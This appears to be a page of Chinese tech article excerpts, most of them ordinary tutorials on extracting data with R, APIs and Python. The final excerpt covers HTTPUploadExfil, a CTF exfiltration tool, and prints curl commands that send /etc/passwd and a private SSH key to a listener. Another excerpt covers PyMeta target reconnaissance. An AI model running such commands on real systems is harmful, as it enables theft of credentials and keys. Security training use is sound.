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如何提取 R 语言内置数据集和著名 R 包的数据集

大家好,今天我们来聊一聊在 R 语言中如何提取内置数据集,以及如何使用著名 R 包中的数据集。相信很多同学在学习 R 语言时,都会遇到需要用数据集来做练习或者分析的情况。...比如,常见的 iris 数据集,它记录了鸢尾花的花瓣和萼片的长度和宽度,非常适合做聚类分析和分类学习。...提取著名 R 包中的数据集 除了 R 自带的数据集,很多常用的 R 包里也内置了数据集。对于生物或医学相关的研究,很多包会提供领域内的数据集,供用户进行模型验证或方法测试。...Rdatasets 是一个为 R 用户收集、整理数据集的仓库,它包含了数百个常见的数据集,涵盖了生物学、经济学、医学等多个领域。...希望这篇文章能帮助你更好地利用 R 中的各种数据集,提升数据分析的效率和效果。如果你有任何问题或建议,欢迎留言讨论!

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如何用R和API免费获取Web数据?

API是获得Web数据的重要途径之一。想不想了解如何用R调用API,提取和整理你需要的免费Web数据呢?本文一步步为你详尽展示操作流程。 ?...中间我们跳过的,是10月2日到10月30日之间的数据。存储格式都是一样的,也只是日期和访问量两项数据值在变化。 需要的数据都在这里,你只需要提取出相应的信息,就可以了。...可是为了后续的分析,我们希望把其中需要的信息提取出来,组成数据框(dataframe)。方法很简单,使用rlist这个R包,就可以轻松办到。...小结 简单回顾一下,本文我们接触到了以下重要知识点: 获取Web数据的三种常见方式及其应用场景; 常见API的目录资源获取地址和使用方法; 如何用R来调用API,并且从服务器反馈结果中抽取关心的数据。...希望读过本文,你能初步掌握上述内容,并且根据文中提供的链接和教程资源拓展学习相关知识。 讨论 你之前利用API获取过Web数据吗?除了R以外,你还使用过哪些API的调用工具?

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    R tips:使用lapply和do.call读取并合并多个文件

    在R中做数据处理时,数据导入导出是常见操作,对于导入而言,如果源数据保存在多个文件中,那么导入后首先就需要进行合并操作。 这个读取及合并操作可以使用lapply和do.call来完成。...先模拟几个数据文件,以用于导入### # 创建6个文件,每个文件有一个数据框,为一行三列数据,列名a,b,c dir.create("test") lapply(1:6, function(x){...=x,b=x,c=x) write.table(df, file=paste0("test/",x,".txt"), row.names = F) }) ###2. lapply读入6个文件,并使用...lapply(function(x){ read.table(x, header = T) }) # 使用rbind合并 do.call(rbind, file_list) #结果如下: # a...b c #1 1 1 1 #2 2 2 2 #3 3 3 3 #4 4 4 4 #5 5 5 5 #6 6 6 6 这个方法很好用,有一个小问题:当数据的列名不一样时,rbind会报错,比如: # 更改第一个数据框的列名为

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    使用R语言的parallel包调用多个线程加快数据处理进度

    ' )) 有意思的是我仍然是选择老牌r包,parallel; 使用方法非常简单, 就是 makeCluster 函数定义好需要并行计算的线程数量,然后之前的apply家族循环就区别在函数名字前面加上...ChIPseeker包对十万多个ChIP-seq的bed坐标文件进行注释,就自定义了函数 run_ChIPseeker,然后把全部的bed文件路径名字存储在 fs这个向量,然后就可以使用 parLapply...的模式,使用8个线程进行并行计算啦,代码如下所示: library(parallel) cl <- makeCluster(8) source('.....,我把它粗略的分成基于R语言的统计可视化,以及基于Linux的NGS数据处理: 《生信分析人员如何系统入门R(2019更新版)》 《生信分析人员如何系统入门Linux(2019更新版)》 把R的知识点路线图搞定...,如下: 了解常量和变量概念 加减乘除等运算(计算器) 多种数据类型(数值,字符,逻辑,因子) 多种数据结构(向量,矩阵,数组,数据框,列表) 文件读取和写出 简单统计可视化 无限量函数学习

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    R语言股票市场指数:ARMA-GARCH模型和对数收益率数据探索性分析|附代码数据

    bootstrap、滚动估计预测VaR、拟合诊断和蒙特卡罗模拟可视化 R语言单变量和多变量(多元)动态条件相关系数DCC-GARCH模型分析股票收益率金融时间序列数据波动率 R语言中的时间序列分析模型:...SP 500指数波动率时间序列和预测可视化 Python金融时间序列模型ARIMA 和GARCH 在股票市场预测应用 MATLAB用GARCH模型对股票市场收益率时间序列波动的拟合与预测 R语言极值理论...:ARIMA-ARCH / GARCH模型分析股票价格 R语言ARIMA-GARCH波动率模型预测股票市场苹果公司日收益率时间序列 Python使用GARCH,EGARCH,GJR-GARCH模型和蒙特卡洛模拟进行股价预测...使用GARCH,EGARCH,GJR-GARCH模型和蒙特卡洛模拟进行股价预测 使用R语言对S&P500股票指数进行ARIMA + GARCH交易策略 R语言用多元ARMA,GARCH ,EWMA, ETS...,随机波动率SV模型对金融时间序列数据建模 R语言股票市场指数:ARMA-GARCH模型和对数收益率数据探索性分析 R语言多元Copula GARCH 模型时间序列预测 R语言使用多元AR-GARCH模型衡量市场风险

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    使用GDC API查看和下载TCGA的数据

    API是应用程序编程接口,很多的网站都有对应的API,方便程序抓取数据,比如NCBI, EBI, KEGG等等,GDC也有对应的API, 可以方便的查询和下载TCGA的数据,API的网址如下 https...,可以实现特定数据集的访问和下载,GDC API的base url如下 https://api.gdc.cancer.gov/ https://api.gdc.cancer.gov/...从功能上可以划分为查询,下载,提交数据三大块,常用的的功能包括查询和下载 1....可以看到API返回的信息中包含了网页上提供的基本信息。在实际使用中,更多的是按照某种条件进行检索,相关的参数很多,这里就不展开了。 2....通过熟练使用API,可以实现程序自动化的下载TCGA数据,有很多TCGA数据下载的R包,就是通过调用API来实现对应的功能。

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    使用 GraphQL 和 Ballerina 操作多个数据源

    在本文中,我们将探讨如何使用 GraphQL 和 Ballerina 将 MySQL 数据库中的数据作为 API 公开出来。...支持基于模式和类型系统的开发方式 GraphQL 有一个强大的类型系统,可用于定义通过 API 公开出来的数据,所有这些类型都可以使用 GraphQL 模式定义语言(SDL)写到模式中。...这个示例使用 MySQL 数据库和 Google Books API 作为数据源 这个示例的所有源代码都可以在 Github 上找到。...完整的访问数据库的代码可以在 bookdatastore.bal 中找到。 使用生成的图表 因为存在多个实体之间的交互,所以集成用例就变得很复杂。...在我们的示例中,我们实现了一个书店的 GraphQL 应用场景,结合了多个后端数据源,包括 MySQL 数据库和 Google Books API。

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    使用Python和BeautifulSoup提取网页数据的实用技巧

    本文将分享使用Python和BeautifulSoup库提取网页数据的实用技巧,帮助你更高效地获取和处理网页数据。...它提供了简单且灵活的API,可以轻松地遍历和搜索网页中的元素,解析HTML结构,并提取所需的数据。 2、安装BeautifulSoup 在开始之前,需要确保已经安装了BeautifulSoup库。...可以使用.select()方法和CSS选择器语法来提取数据。...使用Python和BeautifulSoup库可以轻松地提取网页数据,包括解析HTML结构、根据元素特征提取数据和使用CSS选择器等。...希望本文的知识分享和技能推广对你在使用Python和BeautifulSoup提取网页数据时有所帮助。让我们一起深入学习和实践,掌握这些实用技巧,提高数据处理和分析的能力!

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    R语言 | GEO数据库的下载 以及表达矩阵和临床信息的提取

    ---- 0.安装R包 如果是第一次使用,要先在RStudio里安装好这些包 install.packages("AnnoProbe")#用于下载GEO数据的包 BiocManager::install...载入R包 然后载入我们需要用到的包 library(AnnoProbe)#用于下载GEO数据的包 library(GEOquery)#从GEO数据集中提取表达矩阵或临床信息的包 library(tidyverse...,它是”list“数据类型 3.提取表达矩阵和临床信息 exprset 提取表达矩阵信息 expMatrix 使用两行代码分别提取两个GLP的数据。...很简单,如果包含了两个或者多个GPL,你可以在RStudio右上角的环境变量中的”gset“后面的括号里看到”2 elements“的字样 含有2个GPL的gset 如果只含有一个GPL,则不会显示括号

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    如何使用PyMeta搜索和提取目标域名相关的元数据

    ,广大研究人员可以将目标域名相关的网页元数据(文件等)提取到本地,这种技术可以有助于我们识别目标域名、用户名、软件/版本和命名约定等。...该工具使用了专门设计的搜索查询方式,并使用了Google和Bing实现数据爬取,并能从给定的域中识别和下载以下文件类型:pdf、xls、xlsx、csv、doc、docx、ppt、pptx。...下载完成后,该工具将使用exiftool从这些文件中提取元数据,并将其添加到.csv报告中。或者,Pymeta可以指向一个目录,并使用-dir命令行参数手动从下载的文件中提取元数据。...接下来,广大研究人员可以直接使用Pypi来安装PyMeta: pip3 install pymetasec 除此之外,我们也可以使用下列命令将该项目源码克隆至本地,并使用安装脚本进行安装: git...使用Google和Bing搜索example.com域名中的所有文件,并提取元数据,然后将结果存储至csv报告中: pymeta -d example.com 提取给定目录中所有文件的元数据,并生成

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    【python接口自动化】- 使用json及jsonpath转换和提取数据

    它可以让人们很容易的进行阅读和编写,同时也方便了机器进行解析和生成,适用于进行数据交互的场景,比如网站前台与后台之间的数据交互。...,类似python中的列表,取值方式和所有语言中一样,使用索引获取,字段值的类型可以是数字、字符串、数组、对象几种。...json模块提供了四个功能:dumps、loads、dump、load,用于字符串和python数据类型之间进行转换。...1804660-20201211171351461-965310134.png ​ 其中类文件对象的理解,其实就是具有read()或者write()方法的对象,比如f = open("test.txt","r"...:jsonpath.jsonpath(),结果会以列表形式返回,如下请求接口返回数据提取例子 参数1:数据对象 参数2:jsonpath表达式 import requests import jsonpath

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    使用Apprenda和R分析应用程序工作负载数据

    Apprenda作为PaaS服务的方式是通过平台可扩展性和API为开发人员和平台操作员提供有用的信息。这是因为数据中心提供了大量工具来提供高级分析功能,只要您可以为其提供所需的信息即可。...在一个数据量较大的例子中,让我们看看R的表现,这是一个以数据挖掘和统计分析为中心的强大的编程语言。它为许多类型的数据分析技术提供了直接的工具,并且可以使用社区维护包进行扩展。...在下面的简单例子中,我使用标准的R函数加上三个包(使用R的install.packages()函数很容易将包包含进来): jsonlite用于解析Apprenda API返回的JSON数据。...2ztfm9mb5f.png] 结果图(pie3D()方法来自 plotrix 包)如下所示: [01.png] 我曾与那些无法详细描述他们的应用程序组合的架构构成的IT人员进行对话,在这种情况下,我们用一行R实例实时地提取数据...不可否认,饼图是相当简单的方式来呈现这个信息的,但重点是数据是可用的,可以分组,过滤,操纵,并与R分析非常简单。 在这个例子中,我使用了RStudio的开源版本。

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    使用Apprenda和R分析应用程序工作负载数据

    Apprenda作为PaaS通过平台可扩展性和API,为开发人员和平台操作员提供有用的信息。这是因为数据中心提供了大量工具来执行高级分析功能,你只需为其提供他们所需要的信息即可。...所有这些信息都可以输入到数据中心工具中,帮助IT人员做出重要的、数据驱动的决策。 然而,在DevOps的世界里,大家常常会以有创意和创新性的方式使用这些数据。...R一个以数据挖掘和统计分析为核心的强大的编程语言,它为数据分析技术提供了多种直接的工具,并且可以使用社区维护包对其进行扩展。...2ztfm9mb5f.png] 结果图(pie3D()来自plotrix包)如下所示: [jf0l5oh78y.png] 一些IT人员无法用任何细节描述应用程序组合体系的结构构成,但在如例子中这种情况下,我们可以用一行R语句实时地提取数据...像Apprenda这样的PaaS在数据中心栈中是独一无二的,因为它保留了基础架构和应用程序的知识。同时它作为数据的中心,当使用一些创造性的分析方法时,能提供新的见解。

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    如何使用API进行大规模数据收集和分析

    API(Application Programming Interface)作为一种常见的数据交互协议,提供了访问和操作数据的接口,为我们提供了便利。...本文将介绍如何使用API进行大规模数据收集和分析的步骤,并分享一些实用的代码示例,帮助您掌握这一技巧,提升数据收集和分析的效率。第一部分:数据收集1....了解API: - 在开始之前,我们需要了解所使用的API的基本信息,包括API的访问方式、请求参数、返回数据格式等。通常,API提供方会提供相应的文档或接口说明供开发者参考。2....的基本信息,使用requests库发送API请求以获取数据,并利用pandas、numpy和matplotlib等数据分析库进行数据处理和可视化,我们可以高效地进行大规模数据的收集和分析工作。...希望本文对您在API使用、数据收集和数据分析方面的学习和实践有所帮助,祝您在数据领域取得成功!加油!

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    海量数据迁移之使用shell启用多个动态并行(r2笔记81天)

    在数据迁移中,可能有成百上千个表,有些表很大,有些表又很小。 如果启用了多个并行的进程,可能会有资源分配上的问题。 比如下面有10个表,100代表预计的时间为100分钟。...在这样的情况下,可以考虑使用动态并行,就是能够在后台启用一些并行的进程,比如需要4个并行进程,就使用nohup启用4个并行的进程。 不做具体的数据操作。...tab_name >> $logfile touch ${parfile}.tmp mv ${parfile}.tmp ${parfile} fi fi done 我们使用...appendata.sh来模拟实现数据的插入,其实不会做数据的真实插入,这是模拟日志的内容。...-eq 0 ] then echo '' >parallel1.lst fi 使用如下的命令来启用一个进程,比如下面的命令启用进程2,如果启用其他的进程,命令类似 nohup ksh par2.sh

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    CTF神器:如何使用HTTPUploadExfil快速实现文件数据的提取和传输

    ,我们可以把HTTPUploadExfil看作是Python中的http.server(“python3 -m http.server”),但HTTPUploadExfil的主要功能是远程从目标设备上提取数据...很明显,这是一种非常方便强大但又存在一定限制的数据/文件提取方式。然而,HTTPUploadExfil的使用比SMB或FTP要更加简单。.../httpuploadexfil :1337 /home/kali/loot 在需要提取过滤文件数据的目标设备中,访问下列地址: http://YOUR_IP:1337/ 此时,我们就可以在自己设备上的...Shell 在Bash的帮助下,我们可以使用GET请求来实现文件数据的提取和过滤,比如说: echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1...:8080/g 当然了,我们同样可以使用curl来实现文件数据的提取和过滤: curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p 项目地址

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